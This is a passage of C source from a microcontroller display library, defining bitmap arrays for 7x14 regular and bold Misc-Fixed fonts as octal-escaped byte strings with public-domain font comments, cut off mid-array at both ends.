\"\\70\\16\\1\\0\\0\\370\\200@@@\\200\\0\\0\\177\\10\\20\\20\\20\\17\\0\\0\\300\\20\\0\\0\\20\\300\\0\\0 CL\"\n  \"\\70\\16\\1\";\n/*\n  Fontname: -Misc-Fixed-Medium-R-Normal--14-130-75-75-C-70-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 95/2576\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_7x14_1x2_r[1524] U8X8_FONT_SECTION(\"u8x8_font_7x14_1x2_r\") = \n  \" ~\\1\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\33\\0\\0\\0\\0\\0\\0<\\0<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\370@\\370@\\0\\0\\0\\2\\37\"\n  \"\\2\\37\\2\\0\\0`\\220\\20\\370\\20`\\0\\0\\14\\20\\21\\77\\21\\16\\0\\0\\60HH\\360 \\30\\0\\0\\30\\4\\17\"\n  \"\\22\\22\\14\\0\\0\\0p\\210\\210p\\0\\0\\0\\16\\21\\21\\12\\14\\23\\0\\0\\0\\0\\0<\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\60\\10\\4\\0\\0\\0\\0\\7\\30 @\\0\\0\\0\\4\\10\\60\\300\\0\\0\\0\\0@ \"\n  \"\\30\\7\\0\\0\\0\\0@\\200\\340\\200@\\0\\0\\0\\4\\2\\17\\2\\4\\0\\0\\0\\0\\0\\340\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\17\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0H\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\70\\20\\0\\0\\0\\0\\0\\0\\300\\60\\14\\0\\0`\\30\\6\"\n  \"\\1\\0\\0\\0\\0\\340\\20\\10\\10\\20\\340\\0\\0\\7\\10\\20\\20\\10\\7\\0\\0\\0 \\20\\370\\0\\0\\0\\0\\0\\20\\20\"\n  \"\\37\\20\\20\\0\\0\\60\\10\\10\\10\\210p\\0\\0\\20\\30\\24\\22\\21\\20\\0\\0\\10\\10\\210\\310\\250\\30\\0\\0\\14\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\0\\200`\\20\\370\\0\\0\\0\\6\\5\\4\\4\\37\\4\\0\\0\\370HHHH\\210\\0\\0\\14\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\340\\20\\210\\210\\210\\0\\0\\0\\17\\21\\20\\20\\20\\17\\0\\0\\10\\10\\10\\210h\\30\\0\\0\\0\\30\\6\"\n  \"\\1\\0\\0\\0\\0\\60H\\210\\210H\\60\\0\\0\\16\\21\\20\\20\\21\\16\\0\\0\\360\\10\\10\\10\\210\\360\\0\\0\\14\\21\\21\"\n  \"\\21\\10\\7\\0\\0\\0\\0@\\340@\\0\\0\\0\\0\\0\\10\\34\\10\\0\\0\\0\\0\\0\\300\\300\\0\\0\\0\\0\\0\\0$\"\n  \"\\34\\0\\0\\0\\0\\0\\0\\200@ \\20\\0\\0\\0\\1\\2\\4\\10\\20\\0\\0@@@@@@\\0\\0\\2\\2\\2\"\n  \"\\2\\2\\2\\0\\0\\0\\20 @\\200\\0\\0\\0\\0\\20\\10\\4\\2\\1\\0\\0\\60\\10\\10\\210H\\60\\0\\0\\0\\0\\0\"\n  \"\\33\\0\\0\\0\\0\\340\\20\\310((\\360\\0\\0\\7\\10\\23\\24\\24\\27\\0\\0\\340\\20\\10\\10\\20\\340\\0\\0\\37\\1\\1\"\n  \"\\1\\1\\37\\0\\0\\370\\210\\210\\210P \\0\\0\\37\\20\\20\\20\\11\\6\\0\\0\\360\\10\\10\\10\\10\\60\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\14\\0\\0\\370\\10\\10\\10\\20\\340\\0\\0\\37\\20\\20\\20\\10\\7\\0\\0\\370\\210\\210\\210\\10\\10\\0\\0\\37\\20\\20\"\n  \"\\20\\20\\20\\0\\0\\370\\210\\210\\210\\10\\10\\0\\0\\37\\0\\0\\0\\0\\0\\0\\0\\360\\10\\10\\10\\10\\60\\0\\0\\17\\20\\20\"\n  \"\\21\\11\\37\\0\\0\\370\\200\\200\\200\\200\\370\\0\\0\\37\\0\\0\\0\\0\\37\\0\\0\\0\\10\\10\\370\\10\\10\\0\\0\\0\\20\\20\"\n  \"\\37\\20\\20\\0\\0\\0\\0\\0\\10\\370\\10\\0\\0\\14\\20\\20\\20\\17\\0\\0\\0\\370\\200@ \\20\\10\\0\\0\\37\\0\\1\"\n  \"\\2\\4\\30\\0\\0\\370\\0\\0\\0\\0\\0\\0\\0\\37\\20\\20\\20\\20\\20\\0\\0\\370\\60\\300\\300\\60\\370\\0\\0\\37\\0\\0\"\n  \"\\0\\0\\37\\0\\0\\370`\\200\\0\\0\\370\\0\\0\\37\\0\\0\\1\\6\\37\\0\\0\\360\\10\\10\\10\\10\\360\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\370\\10\\10\\10\\10\\360\\0\\0\\37\\1\\1\\1\\1\\0\\0\\0\\360\\10\\10\\10\\10\\360\\0\\0\\17\\22\\22\"\n  \"\\24\\70O\\0\\0\\370\\10\\10\\10\\10\\360\\0\\0\\37\\1\\1\\3\\5\\30\\0\\0p\\210\\210\\10\\10\\60\\0\\0\\14\\20\\20\"\n  \"\\21\\21\\16\\0\\0\\10\\10\\10\\370\\10\\10\\10\\0\\0\\0\\0\\37\\0\\0\\0\\0\\370\\0\\0\\0\\0\\370\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\17\\0\\0x\\200\\0\\0\\200x\\0\\0\\0\\3\\34\\34\\3\\0\\0\\0\\0\\370\\0\\0\\0\\370\\0\\0\\0\\17\\20\"\n  \"\\16\\20\\17\\0\\0\\30`\\200\\200`\\30\\0\\0\\30\\6\\1\\1\\6\\30\\0\\0\\0\\70\\300\\0\\300\\70\\0\\0\\0\\0\\0\"\n  \"\\37\\0\\0\\0\\0\\10\\10\\10\\310(\\30\\0\\0\\30\\26\\21\\20\\20\\20\\0\\0\\0\\0\\374\\4\\4\\4\\0\\0\\0\\0\\177\"\n  \"@@@\\0\\0\\14\\60\\300\\0\\0\\0\\0\\0\\0\\0\\1\\6\\30`\\0\\0\\0\\4\\4\\4\\374\\0\\0\\0\\0@@\"\n  \"@\\177\\0\\0\\0\\20\\10\\4\\4\\10\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@@\"\n  \"@@@\\0\\0\\0\\0\\4\\10\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200@@@@\\200\\0\\0\\14\\22\\22\"\n  \"\\22\\22\\37\\0\\0\\370\\200@@@\\200\\0\\0\\37\\10\\20\\20\\20\\17\\0\\0\\200@@@@\\200\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\10\\0\\0\\200@@@\\200\\370\\0\\0\\17\\20\\20\\20\\10\\37\\0\\0\\200@@@@\\200\\0\\0\\17\\22\\22\"\n  \"\\22\\22\\13\\0\\0\\200\\200\\360\\210\\210\\20\\0\\0\\0\\0\\37\\0\\0\\0\\0\\0\\200@@@\\200@\\0\\0\\63LT\"\n  \"TS \\0\\0\\370\\200@@@\\200\\0\\0\\37\\0\\0\\0\\0\\37\\0\\0\\0\\0@\\330\\0\\0\\0\\0\\0\\20\\20\"\n  \"\\37\\20\\20\\0\\0\\0\\0\\0\\0@\\330\\0\\0\\0\\60@@@\\77\\0\\0\\370\\0\\0\\200@\\0\\0\\0\\37\\2\\3\"\n  \"\\4\\10\\20\\0\\0\\0\\0\\10\\370\\0\\0\\0\\0\\0\\20\\20\\37\\20\\20\\0\\0\\0\\300@\\200@\\200\\0\\0\\0\\37\\0\"\n  \"\\17\\0\\37\\0\\0\\300\\200@@@\\200\\0\\0\\37\\0\\0\\0\\0\\37\\0\\0\\200@@@@\\200\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\300\\200@@@\\200\\0\\0\\177\\10\\20\\20\\20\\17\\0\\0\\200@@@\\200\\300\\0\\0\\17\\20\\20\"\n  \"\\20\\10\\177\\0\\0\\300\\200@@@\\200\\0\\0\\37\\0\\0\\0\\0\\1\\0\\0\\200@@@@\\200\\0\\0\\10\\21\\22\"\n  \"\\22\\24\\10\\0\\0@@\\370@@\\0\\0\\0\\0\\0\\17\\20\\20\\10\\0\\0\\300\\0\\0\\0\\0\\300\\0\\0\\17\\20\\20\"\n  \"\\20\\10\\37\\0\\0\\0\\300\\0\\0\\0\\300\\0\\0\\0\\1\\6\\30\\6\\1\\0\\0\\0\\300\\0\\0\\0\\300\\0\\0\\0\\17\\20\"\n  \"\\17\\20\\17\\0\\0\\300\\0\\0\\0\\0\\300\\0\\0\\30\\5\\2\\2\\5\\30\\0\\0\\300\\0\\0\\0\\0\\300\\0\\0'HH\"\n  \"HD\\77\\0\\0@@@@\\300@\\0\\0\\20\\30\\26\\21\\20\\20\\0\\0\\0\\0\\0\\370\\4\\4\\0\\0\\0\\0\\1\"\n  \">@@\\0\\0\\0\\0\\0\\374\\0\\0\\0\\0\\0\\0\\0\\177\\0\\0\\0\\0\\0\\4\\4\\370\\0\\0\\0\\0\\0@@\"\n  \">\\1\\0\\0\\0\\30\\4\\10\\20 \\30\\0\\0\\0\\0\\0\\0\\0\\0\";\n/*\n  Fontname: -Misc-Fixed-Medium-R-Normal--14-130-75-75-C-70-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 18/2576\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_7x14_1x2_n[436] U8X8_FONT_SECTION(\"u8x8_font_7x14_1x2_n\") = \n  \" :\\1\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0@\\200\\340\\200@\\0\\0\\0\\4\\2\\17\\2\\4\\0\\0\\0\\0\\0\\340\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\17\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0H\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\70\\20\\0\\0\\0\\0\\0\\0\\300\\60\\14\\0\\0`\\30\\6\"\n  \"\\1\\0\\0\\0\\0\\340\\20\\10\\10\\20\\340\\0\\0\\7\\10\\20\\20\\10\\7\\0\\0\\0 \\20\\370\\0\\0\\0\\0\\0\\20\\20\"\n  \"\\37\\20\\20\\0\\0\\60\\10\\10\\10\\210p\\0\\0\\20\\30\\24\\22\\21\\20\\0\\0\\10\\10\\210\\310\\250\\30\\0\\0\\14\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\0\\200`\\20\\370\\0\\0\\0\\6\\5\\4\\4\\37\\4\\0\\0\\370HHHH\\210\\0\\0\\14\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\340\\20\\210\\210\\210\\0\\0\\0\\17\\21\\20\\20\\20\\17\\0\\0\\10\\10\\10\\210h\\30\\0\\0\\0\\30\\6\"\n  \"\\1\\0\\0\\0\\0\\60H\\210\\210H\\60\\0\\0\\16\\21\\20\\20\\21\\16\\0\\0\\360\\10\\10\\10\\210\\360\\0\\0\\14\\21\\21\"\n  \"\\21\\10\\7\\0\\0\\0\\0@\\340@\\0\\0\\0\\0\\0\\10\\34\\10\\0\";\n/*\n  Fontname: -Misc-Fixed-Bold-R-Normal--14-130-75-75-C-70-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 191/1009\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_7x14B_1x2_f[3588] U8X8_FONT_SECTION(\"u8x8_font_7x14B_1x2_f\") = \n  \" \\377\\1\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\0\\0\\0\\0\\0\\0\\33\"\n  \"\\33\\0\\0\\0\\0\\0<<\\0<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\370\\370\\370\\370@\\0\\0\\2\\37\\37\"\n  \"\\37\\37\\2\\0\\0`\\220\\370\\370\\20`\\0\\0\\14\\20\\77\\77\\21\\16\\0\\0\\60xH\\360\\70\\30\\0\\0\\30\\34\\17\"\n  \"\\22\\36\\14\\0\\0\\0p\\370\\210\\370p\\0\\0\\16\\37\\21\\16\\37\\23\\0\\0\\0\\0<<\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\360\\70\\14\\4\\0\\0\\0\\7\\37\\70`@\\0\\0\\0\\4\\14\\70\\360\\300\\0\\0\\0@`\"\n  \"\\70\\37\\7\\0\\0\\30\\240\\370\\370\\240\\30\\0\\0\\3\\0\\3\\3\\0\\3\\0\\0\\0\\0\\340\\340\\0\\0\\0\\0\\1\\1\\17\"\n  \"\\17\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0Hx\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\0\\0\\0\\0\\0\\0\\200\\340|\\34\\0\\0p|\\17\"\n  \"\\3\\0\\0\\0\\0\\360\\370\\10\\10\\370\\360\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0 \\60\\370\\370\\0\\0\\0\\0\\20\\20\\37\"\n  \"\\37\\20\\20\\0\\0\\60\\70\\10\\210\\370p\\0\\0\\30\\34\\26\\23\\21\\20\\0\\0\\60\\70\\210\\210\\370p\\0\\0\\14\\34\\20\"\n  \"\\20\\37\\17\\0\\0\\0\\200\\300\\360\\370\\0\\0\\0\\7\\7\\4\\37\\37\\4\\0\\0\\370\\370HH\\310\\210\\0\\0\\14\\34\\20\"\n  \"\\20\\37\\17\\0\\0\\340\\360\\230\\210\\270\\60\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0\\70\\70\\210\\350x\\30\\0\\0\\0\\0\\37\"\n  \"\\37\\0\\0\\0\\0p\\370\\210\\210\\370p\\0\\0\\16\\37\\21\\21\\37\\16\\0\\0\\360\\370\\10\\10\\370\\360\\0\\0\\14\\35\\21\"\n  \"\\31\\17\\7\\0\\0\\0\\0``\\0\\0\\0\\0\\0\\0\\14\\14\\0\\0\\0\\0\\0\\0\\0``\\0\\0\\0\\0\\0$\"\n  \"<\\34\\0\\0\\0\\0\\200\\300`\\60\\20\\0\\0\\1\\3\\6\\14\\30\\20\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\4\\4\\4\"\n  \"\\4\\4\\4\\0\\0\\20\\60`\\300\\200\\0\\0\\0\\20\\30\\14\\6\\3\\1\\0\\0\\60\\70\\210\\310x\\60\\0\\0\\0\\0\\33\"\n  \"\\33\\0\\0\\0\\0\\340\\360\\330\\350\\70\\360\\0\\0\\7\\17\\33\\27\\24\\27\\0\\0\\360\\370\\30\\30\\370\\360\\0\\0\\37\\37\\2\"\n  \"\\2\\37\\37\\0\\0\\370\\370\\210\\210\\370\\60\\0\\0\\37\\37\\20\\20\\37\\17\\0\\0\\360\\370\\10\\10\\70\\60\\0\\0\\17\\37\\20\"\n  \"\\20\\34\\14\\0\\0\\370\\370\\10\\30\\360\\340\\0\\0\\37\\37\\20\\30\\17\\7\\0\\0\\370\\370\\210\\210\\210\\10\\0\\0\\37\\37\\20\"\n  \"\\20\\20\\20\\0\\0\\370\\370\\210\\210\\210\\10\\0\\0\\37\\37\\0\\0\\0\\0\\0\\0\\360\\370\\10\\10\\70\\60\\0\\0\\17\\37\\20\"\n  \"\\21\\37\\17\\0\\0\\370\\370\\200\\200\\370\\370\\0\\0\\37\\37\\0\\0\\37\\37\\0\\0\\10\\10\\370\\370\\10\\10\\0\\0\\20\\20\\37\"\n  \"\\37\\20\\20\\0\\0\\0\\0\\0\\0\\370\\370\\0\\0\\14\\34\\20\\30\\17\\7\\0\\0\\370\\370\\340\\60\\30\\10\\0\\0\\37\\37\\3\"\n  \"\\7\\34\\30\\0\\0\\370\\370\\0\\0\\0\\0\\0\\0\\37\\37\\20\\20\\20\\20\\0\\0\\370\\360\\300\\300\\360\\370\\0\\0\\37\\37\\0\"\n  \"\\0\\37\\37\\0\\0\\370\\370\\340\\0\\370\\370\\0\\0\\37\\37\\0\\7\\37\\37\\0\\0\\360\\370\\10\\10\\370\\360\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\17\\0\\0\\370\\370\\10\\10\\370\\360\\0\\0\\37\\37\\1\\1\\1\\0\\0\\0\\360\\370\\10\\10\\370\\360\\0\\0\\17\\37\\22\"\n  \"\\24\\77o\\0\\0\\370\\370\\210\\210\\370p\\0\\0\\37\\37\\0\\1\\37\\36\\0\\0\\60x\\310\\210\\70\\60\\0\\0\\14\\34\\21\"\n  \"\\23\\36\\14\\0\\0\\10\\10\\370\\370\\10\\10\\0\\0\\0\\0\\37\\37\\0\\0\\0\\0\\370\\370\\0\\0\\370\\370\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\17\\0\\0\\370\\370\\0\\0\\370\\370\\0\\0\\3\\17\\34\\34\\17\\3\\0\\0\\370\\370\\0\\0\\370\\370\\0\\0\\17\\37\\17\"\n  \"\\17\\37\\17\\0\\0\\30x\\340\\340x\\30\\0\\0\\30\\36\\7\\7\\36\\30\\0\\0\\70\\370\\300\\300\\370\\70\\0\\0\\0\\0\\37\"\n  \"\\37\\0\\0\\0\\0\\10\\10\\210\\350x\\30\\0\\0\\30\\36\\27\\21\\20\\20\\0\\0\\0\\374\\374\\4\\4\\4\\0\\0\\0\\177\\177\"\n  \"@@@\\0\\0\\34|\\340\\200\\0\\0\\0\\0\\0\\0\\3\\17|p\\0\\0\\0\\4\\4\\4\\374\\374\\0\\0\\0@@\"\n  \"@\\177\\177\\0\\0\\10\\14\\6\\6\\14\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0```\"\n  \"```\\0\\0\\0\\4\\14\\30\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300@@\\300\\200\\0\\0\\14\\36\\22\"\n  \"\\21\\37\\37\\0\\0\\370\\370@@\\300\\200\\0\\0\\37\\37\\20\\20\\37\\17\\0\\0\\200\\300@@\\300\\200\\0\\0\\17\\37\\20\"\n  \"\\20\\30\\10\\0\\0\\200\\300@@\\370\\370\\0\\0\\17\\37\\20\\20\\37\\37\\0\\0\\200\\300@@\\300\\200\\0\\0\\17\\37\\22\"\n  \"\\22\\33\\13\\0\\0\\200\\200\\360\\370\\230\\220\\0\\0\\0\\0\\37\\37\\0\\0\\0\\0\\200\\300@\\300\\200\\300\\0\\0\\63\\177T\"\n  \"Ws \\0\\0\\370\\370@@\\300\\200\\0\\0\\37\\37\\0\\0\\37\\37\\0\\0\\0\\0\\330\\330\\0\\0\\0\\0\\0\\0\\37\"\n  \"\\37\\0\\0\\0\\0\\0\\0\\0\\0\\330\\330\\0\\0\\0 `@\\177\\77\\0\\0\\370\\370\\0\\200\\300\\0\\0\\0\\37\\37\\3\"\n  \"\\7\\14\\30\\0\\0\\0\\0\\370\\370\\0\\0\\0\\0\\0\\0\\37\\37\\0\\0\\0\\0\\300\\300\\200\\300\\300\\200\\0\\0\\37\\37\\17\"\n  \"\\17\\37\\37\\0\\0\\300\\300@@\\300\\200\\0\\0\\37\\37\\0\\0\\37\\37\\0\\0\\200\\300@@\\300\\200\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\17\\0\\0\\300\\300@@\\300\\200\\0\\0\\177\\177\\20\\20\\37\\17\\0\\0\\200\\300@@\\300\\300\\0\\0\\17\\37\\20\"\n  \"\\20\\177\\177\\0\\0\\300\\300@@\\300\\200\\0\\0\\37\\37\\0\\0\\1\\1\\0\\0\\200\\300@@\\300\\200\\0\\0\\10\\31\\23\"\n  \"\\26\\34\\10\\0\\0@@\\370\\370@@\\0\\0\\0\\0\\17\\37\\20\\20\\0\\0\\300\\300\\0\\0\\300\\300\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\37\\0\\0\\300\\300\\0\\0\\300\\300\\0\\0\\1\\7\\36\\36\\7\\1\\0\\0\\300\\300\\0\\0\\300\\300\\0\\0\\17\\37\\17\"\n  \"\\17\\37\\17\\0\\0\\300\\300\\0\\0\\300\\300\\0\\0\\30\\35\\7\\7\\35\\30\\0\\0\\300\\300\\0\\0\\300\\300\\0\\0 cO\"\n  \"|\\77\\3\\0\\0@@@@\\300\\300\\0\\0\\30\\34\\26\\23\\21\\20\\0\\0\\0\\0\\370\\374\\4\\4\\0\\0\\0\\1\\77\"\n  \"~@@\\0\\0\\0\\0\\374\\374\\0\\0\\0\\0\\0\\0\\177\\177\\0\\0\\0\\0\\0\\4\\4\\374\\370\\0\\0\\0\\0@@\"\n  \"~\\77\\1\\0\\0\\70\\14\\30\\30\\60\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\330\\330\\0\\0\\0\\0\\0\\0\\37\"\n  \"\\37\\0\\0\\0\\0\\200@\\340\\340@\\300\\0\\0\\17\\20\\77\\77\\20\\30\\0\\0\\0\\340\\360\\20\\60 \\0\\0\\11\\37\\37\"\n  \"\\11\\30\\20\\0\\0 \\340\\300@\\340 \\0\\0\\4\\7\\2\\3\\7\\4\\0\\0Xp\\340\\340pX\\0\\0\\2\\2\\37\"\n  \"\\37\\2\\2\\0\\0\\0\\0xx\\0\\0\\0\\0\\0\\0\\36\\36\\0\\0\\0\\0\\210\\334td\\314\\210\\0\\0\\10\\31\\23\"\n  \"\\27\\35\\10\\0\\0\\0\\14\\14\\0\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\364\\24\\374\\370\\0\\0\\17\\37\\27\"\n  \"\\24\\37\\17\\0\\0\\0h\\374\\224\\374\\370\\0\\0\\0\\2\\2\\2\\2\\2\\0\\0\\0\\0\\200\\300\\300\\300\\0\\0\\2\\7\\17\"\n  \"\\37\\35\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\370\\374\\364\\224\\374\\370\\0\\0\\17\\37\\27\\20\\37\\17\\0\\0\\0\\4\\4\\4\\4\\4\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\30<$<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\22\\22\\37\"\n  \"\\37\\22\\22\\0\\0\\0\\210\\314d<\\30\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\\210\\254$\\374\\330\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\20\\30\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\200\\200\\0\\0\\177\\177\\20\"\n  \"\\30\\37\\37\\0\\0\\360\\370\\370\\10\\370\\370\\0\\0\\0\\1\\177@\\177\\177\\0\\0\\0\\0\\300\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@p\\60\\0\\0\\0\\0\\20\\370\\370\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\60xHx\\60\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0@\\300\\300\\200\\0\\0\\0\\0\\20\\30\\35\"\n  \"\\17\\7\\2\\0\\0\\20\\370\\370\\300\\360\\30\\0\\0\\30\\16\\3\\15\\36\\37\\0\\0\\20\\370\\370\\300\\360\\30\\0\\0\\30\\16\\3\"\n  \"\\33\\35\\26\\0\\0\\250\\370\\360\\300p\\30\\0\\0\\14\\6\\3\\15\\37\\37\\0\\0\\0\\260\\260\\0\\0\\0\\0\\0\\60\\177O\"\n  \"@p\\60\\0\\0\\340\\362\\66\\64\\360\\340\\0\\0\\37\\37\\2\\2\\37\\37\\0\\0\\340\\360\\64\\66\\362\\340\\0\\0\\37\\37\\2\"\n  \"\\2\\37\\37\\0\\0\\340\\364\\66\\66\\364\\340\\0\\0\\37\\37\\2\\2\\37\\37\\0\\0\\344\\362\\66\\64\\362\\340\\0\\0\\37\\37\\2\"\n  \"\\2\\37\\37\\0\\0\\346\\366\\60\\60\\366\\346\\0\\0\\37\\37\\2\\2\\37\\37\\0\\0\\300\\344jj\\344\\300\\0\\0\\37\\37\\2\"\n  \"\\2\\37\\37\\0\\0\\360\\370\\10\\370\\370\\210\\10\\0\\37\\37\\1\\37\\37\\20\\20\\0\\360\\370\\10\\10\\70\\60\\0\\0\\17_p\"\n  